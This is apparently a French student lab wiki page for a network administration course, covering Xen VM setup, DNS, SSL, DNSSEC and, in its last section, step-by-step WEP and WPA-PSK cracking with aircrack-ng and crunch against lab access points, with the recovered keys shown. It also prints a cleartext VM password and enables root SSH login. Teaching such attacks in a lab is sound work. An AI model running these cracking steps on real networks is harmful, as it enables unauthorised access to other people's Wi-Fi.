TP sysres IMA5 2021/2022 G5 : Différence entre versions
|  (→Configuration de Apache 2 en utilisant le certificat de Let's Encrypt) |  (→Configuration de Apache 2 en utilisant le certificat de Let's Encrypt) | ||
| Ligne 292 : | Ligne 292 : | ||
| Nous allons utiliser certbot pour configurer apache automatiquement et utiliser le certificat SSL de Let's Encrypt. La documentation complète peut être trouvée via ce lien : https://certbot.eff.org/instructions?ws=apache&os=debianbuster. | Nous allons utiliser certbot pour configurer apache automatiquement et utiliser le certificat SSL de Let's Encrypt. La documentation complète peut être trouvée via ce lien : https://certbot.eff.org/instructions?ws=apache&os=debianbuster. | ||
| + | |||
| + | <code>Installer snap</code> | ||
| ==Sécurisation de serveur DNS par DNSSEC== | ==Sécurisation de serveur DNS par DNSSEC== | ||
Version du 11 janvier 2022 à 16:13
BOURDAIN Hélène & VINGERE Camille
Sommaire
Plan d'adressage
| Groupe | VLAN | Réseau IPv4 | Réseau IPv6 | @IPv4 virtuelle | IPv4/IPv6 6509E (E304) | IPv4/IPv6 C9200 (E306) | IPv4/IPv6 ISR4331 | IPv4 @MV | SSID | VM | 
|---|---|---|---|---|---|---|---|---|---|---|
| Helene / Camille | 04 | 10.04.0.0/16 | 2001:7A8:116E:60B4::0/64 | 10.04.0.250 | 10.04.0.251 | 10.04.0.252 | 10.04.0.253 | 193.48.57.180/28 | Tulipe | Duff | 
Architecture réseau
Schéma global
Nous nous sommes occupés de l'installation physique du réseau.
Mise en place de la machine virtuelle
Création d'une machine virtuelle Xen
- Connexion à capbreton
ssh root@capbreton
- Changer la variable environnement pour le proxy
export http_proxy=http://proxy.plil.fr:3128
- Création de la VM
xen-create-image --hostname=Duff --ip=193.48.57.180 --netmask=255.255.255.240 --gateway=193.48.57.190 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye * --hostname : nom de la VM * --netmask : masque de sous-réseau * --gateway : ip de la passerelle * --dir : répertoire où les disques virtuels doivent être créés * --password : mot de passe pour accéder à la VM * --dist : distribution linux
Création des deux partitions LVM
- Choisir le volume
Pour cela, on affiche les différents volumes disponible
vgdisplay --- Volume group --- VG Name storage System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 150 VG Access read/write VG Status resizable MAX LV 0 Cur LV 24 Open LV 12 Max PV 0 Cur PV 2 Act PV 2 VG Size <5.46 TiB PE Size 4.00 MiB Total PE 1430526 Alloc PE / Size 45056 / 176.00 GiB Free PE / Size 1385470 / <5.29 TiB VG UUID eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc --- Volume group --- VG Name virtual System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 333 VG Access read/write VG Status resizable MAX LV 0 Cur LV 56 Open LV 49 Max PV 0 Cur PV 2 Act PV 2 VG Size <1.82 TiB PE Size 4.00 MiB Total PE 476934 Alloc PE / Size 143104 / 559.00 GiB Free PE / Size 333830 / 1.27 TiB VG UUID MS50AM-5UPD-Q5As-ZExy-nQYw-6zvq-Lftt6B --- Volume group --- VG Name system System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 2 VG Access read/write VG Status resizable MAX LV 0 Cur LV 1 Open LV 1 Max PV 0 Cur PV 2 Act PV 2 VG Size <834.18 GiB PE Size 4.00 MiB Total PE 213549 Alloc PE / Size 213549 / <834.18 GiB Free PE / Size 0 / 0 VG UUID 09LwR3-qOUI-z438-g1TX-RGan-Y0HU-zKjTj2
On a choisi d'utiliser storage car c'est celui avec le plus d'espace disponible.
- On créé les deux LV
lvcreate -L10G -n Duff1 storage lvcreate -L10G -n Duff2 storage *-L : taille allouée *-n : nom de la partition *storage : volume choisi
- On a formaté nos disques
mkfs.ext4 /dev/storage/Duff1 mkfs.ext4 /dev/storage/Duff2
- On a modifié le fichier de configuration
Cela nous a permit d'ajouter nos deux LVM et ajouter le pont IMAsc
vim /etc/xen/Duff.cfg
root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Duff/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Duff/swap.img,xvda1,w',
                 'phy:/dev/storage/Duff1,xvda3,w',
                 'phy:/dev/storage/Duff2,xvda4,w'
             ]
#  Networking
#
vif         = [ 'ip=193.48.57.180 ,mac=00:16:3E:28:98:56 ,bridge=IMA5sc' ]
- On a ensuite lancé Duff
xl create -c /etc/xen/Duff.cfg *-c : permet de spécifier le fichier de configuration
- On a ensuite autorisé l'IPv6
vi /etc/network/interfaces auto eth0 inet6 auto
Monter les disques dans la VM
- Créer un point de montage
mkdir /mnt/xvda3 mkdir /mnt/xvda4 mount /dev/xvda3 /mnt/xvda3 mount /dev/xvda4 /mnt/xvda4
- On créé les deux partitions
Les deux partitions que nous allons créer sont /home et /var or dans /var il y a déjà des fichiers que nous allons déplacer dans notre /mnt/xvda4
mv /var/* /mnt/xvda4
On édite fstab afin d'ajouter nos deux disques
vi /etc/fstab /dev/xvda3 /home ext4 defaults 0 2 /dev/xvda4 /var ext4 defaults 0 2 *ext4 : type de formatage
- On monte tout
mount -a
On peut ensuite voir tout nos disques
lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda1 202:1 0 512M 0 disk [SWAP] xvda2 202:2 0 4G 0 disk / xvda3 202:3 0 10G 0 disk /home xvda4 202:4 0 10G 0 disk /var
Service Internet
SSH
- Modifier le fichier /etc/ssh/sshd_config:
Décommenter Port X Autoriser le login root : PermitRootLogin Yes X : numéro du port ssh = 22
- Relancer le service SSH
service ssh restart
Serveur DNS
- Nom de domaine :
Aller sur Gandi.net : Nom domaine : duff-tulipe.club Blue record : ns1.duff-tulipe.club ip : 193.48.57.180
- Modification de /etc/resolv.conf
On installe un serveur de noms sur notre machine, elle nous servira donc de nameserver
nameserver 127.0.0.1
- Modification de /etc/bind/named.conf.local
zone "duff-tulipe.club" IN {
       type master;
       file "/etc/bind/db.duff-tulipe.club";
       allow-transfer { 217.70.177.40; };
};
- Création de /etc/bind/db.duff-tulipe.club
$TTL    259200
@       IN      SOA     ns1.duff-tulipe.club. postmaster.duff-tulipe.club. (
                    2021121301         ; Incrementation date based
                         18000         ; Refresh every 5 hours
                         3600          ; Retry every hour
                        388000         ; Expire after 45 days
                        259200 )       ; Minimum TTL : 3 days
;
@       IN      NS      ns1.duff-tulipe.club.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.180 
www     IN      A       193.48.57.180
        IN      AAAA    2001:660:4401:60b0:216:3eff:fe28:9856
* A : Nom attribué à une adresse de type IP V4
* AAAA : Nom attribué à une adresse de type IP V6
* NS : Le ou les serveurs de noms de la zone (IPV4)
* SOA : Démarre la configuration
* TTL : Time to Live
Sécurisation du site par certificat SSL
Nous avons généré les clés privés et publiques avec un niveau de hachage SHA256.
openssl req -nodes -newkey rsa:2048 -sha256 -keyout duff-tulipe.club.key -out duff-tulipe.club.csr * duff-tulipe.club.key : clé privé * duff-tulipe.club.csr : clé publique
Il faut ensuite faire une demande de signature sur gandi.net puis ajouter un enregistrement CNAME à notre DNS dans le fichier /etc/bind/db.duff-tulipe.club :
_81984CA0A14C2BF87A3DC60134F472F1.duff-tulipe.club. 10800 IN CNAME 9693CBB1C5FF588366B34976185CEF2D.CF6A4117B09D101A3558AB1B3B415A3F.3001ef257407d5a371a9.sectigo.com.
Le certificat est disponible sur gandi sous format .crt et il faut le placer dans /etc/ssl/certs. On doit également télécharger le certificat intermédiaire de gandi (GandiStandardSSLCA2.pem).
Configuration de Apache 2 en utilisant le certificat SSL de Gandi
- Activer le module SSL
a2enmod ssl
Le port 80 est écouté par défaut pour le HTTP. Nous voulons sécuriser le site avec un certificat SSL et devons donc utiliser le port 443 pour mettre HTTPS en place. On va donc remplacer :
<IfModule ssl_module>
      Listen 443
</IfModule> 
par
<IfModule mod_ssl.c>
       Listen 443
</IfModule>
Le répertoire par défaut d'Apache pour le routes html est /var/www/html. Nous créons un répertoire custom /var/www/duff-tulipe.club. Nous personnaliserons la page index.html avec le contenu qui nous convient.
Nous complétons le fichier de configuration custom avec /etc/apache2/sites-available/000-duff-tulipe.club-ssl.conf
<VirtualHost *:443>
       ServerName duff-tulipe.club
       ServerAlias www.duff-tulipe.club
       DocumentRoot /var/www/duff-tulipe.club/
       SSLEngine on
       SSLCertificateFile /etc/ssl/certs/duff-tulipe.club.crt
       SSLCertificateKeyFile /etc/ssl/private/duff-tulipe.club.key
</VirtualHost>
On spécifie l'emplacement du certificat ssl avec la clé qui lui est associée.
Malheureusement, notre certificat SSL n'est pas associé à la bonne clé. Nous avons donc cherché des solutions alternatives.
Configuration de Apache 2 en utilisant le certificat de Let's Encrypt
Nous allons utiliser certbot pour configurer apache automatiquement et utiliser le certificat SSL de Let's Encrypt. La documentation complète peut être trouvée via ce lien : https://certbot.eff.org/instructions?ws=apache&os=debianbuster.
Installer snap
Sécurisation de serveur DNS par DNSSEC
- Modification de /etc/binc/named.conf.options
Activer le DNSSEC pour Bind: dnssec-enable yes;
- Création de la clef asymétrique de signature de clefs de zone
Création du répertore /etc/bind/duff-tulipe.dnssec
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE duff-tulipe.club
Renommer la clef en : duff-tulipe.club-ksk.key duff-tulipe.club-ksk.private
- Création la clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE duff-tulipe.club Renommer la clef en : duff-tulipe.club-zsk.key duff-tulipe.club-zsk.private
- Inclusion des fichiers dans /etc/bind/db.duff-tulipe.club
$include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-ksk.key $include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-zsk.key
On incrémente le numéro de version
@       IN      SOA     ns1.duff-tulipe.club. postmaster.duff-tulipe.club. (
                   2021121302         ; Incrementation date based
- Signature des enregistrement de la zone
dnssec-signzone -o duff-tulipe.club -k duff-tulipe.club-ksk ../db.duff-tulipe.club duff-tulipe.club-zsk
- Modification du ficher named.conf.local
Cela permet d'utiliser la zone signée, générée à l'étape précédente
zone "duff-tulipe.club" IN {
        type master;
        file "/etc/bind/db.duff-tulipe.club.signed";
        allow-transfer { 217.70.177.40; };
};
- Communication de la partie publique
Copie du ficher duff-tulipe.club-ksk.key dans la partie DNSSEC de notre domaine sur gandi.net (KSK et algorithme RSA-SHA1)
- Test
On lance la commande
dnssec-verify -o duff-tulipe.club db.duff-tulipe.club.signed
Loading zone 'duff-tulipe.club' from file 'db.duff-tulipe.club.signed'
Verifying the zone using the following algorithms:
- RSASHA1
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked
Tests d'intrusion
Cassage de clef WEP d’un point d’accès WiFi
- Installation du paquet aircrack
apt install aircrack-ng
- Affichage de notre interface réseau
airmon-ng
- Arrêter les process existant
airmon-ng check kill
- Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal> n°interface : wlan0mon canal : 3
- Récupération du BSSID du point d'accès
airodump-ng wlan0mon permet d'écouter tous les paquets On choisit une cracotte : cracotte05 => BSSID : 04:DA:D2:9C:50:54
- Test d'injection
Après avoir récupéré le BSSID d'une des cracotte on réalise un test d'injection.
aireplay-ng -9 -e <nom_du_point_d_acces> -a <BSSID> <n°interface>
- Capture des VI sur notre point d'accès dans un fichier
airodump-ng -c <canal> --bssid <BSSID> -w output <n°interface>
Il faut désormais ouvrir un nouveau terminal.
- Associer l'interface réseau à notre point d'accès
Nous utilisons une fausse authentification pour nous connecter.
aireplay-ng -1 0 -e <nom_du_point_d_acces> -a <BSSID> -h <BSSID_interface_reseau> <n°interface> nom pt acces : cracotte05 bssid: 04:DA:D2:9C:50:54 BSSID_interface_reseau : 40:A5:EF:01:35:79 n°interface : wlan0mon
- Décryptage
aircrack-ng -b 04:DA:D2:9C:50:54 output*.cap Va tester différentes clefs jusqu'à trouver la bonne (822 dans notre cas) KEY FOUND! [ 55:55:55:55:5A:BC:06:CB:A4:44:44:44:44] Decrypted correctly: 100%
Cassage du mot de passe WPA-PSK par force brute
- Affichage de notre interface réseau
airmon-ng wlx40a5ef059e47
- Arrêter les process existant
airmon-ng check kill
- Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal> n°interface : wlan0mon canal : 3
- Récupération du BSSID du point d'accès
airodump-ng wlan0mon permet d'écouter tous les paquets On choisit une kracotte (avec un "k" pour le WPA) : kracotte14 => BSSID : 44:AD:D9:5F:87:0D
On capture ensuite les VI générés par le point d'accès afin de capturer une Handshake dans un fichier psk :
airodump-ng -c 3 --bssid 44:AD:D9:5F:87:03 -w psk wlan0mon
*-c 3 : channel *--bssid: BSSID de la kracotte
On créé ensuite un dictionnaire de toutes les combinaisons possibles de 8 chiffres avec l'aide de l'utilitaire crunch :
apt install crunch
crunch 8 8 0123456789 -o password.lst *8 nombre min de caractères *8 nombre max de caractères *0123456789 : caractères utilisés pour les combinaisons *-o : fichier de sortie
Une fois le chargement terminé nous obtenons ce résultat
[00:56:46] 59882312/100000000 keys tested (17564.32 k/s)
KEY FOUND! [ 59914999 ]
     Master Key     : B6 2C 87 9A 1D D2 52 1A 23 45 79 FA 95 2F 09 F0 
                      75 A4 0C D9 AD 3B 10 C3 2B F7 41 50 00 AF D5 9D 
     Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
     EAPOL HMAC     : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
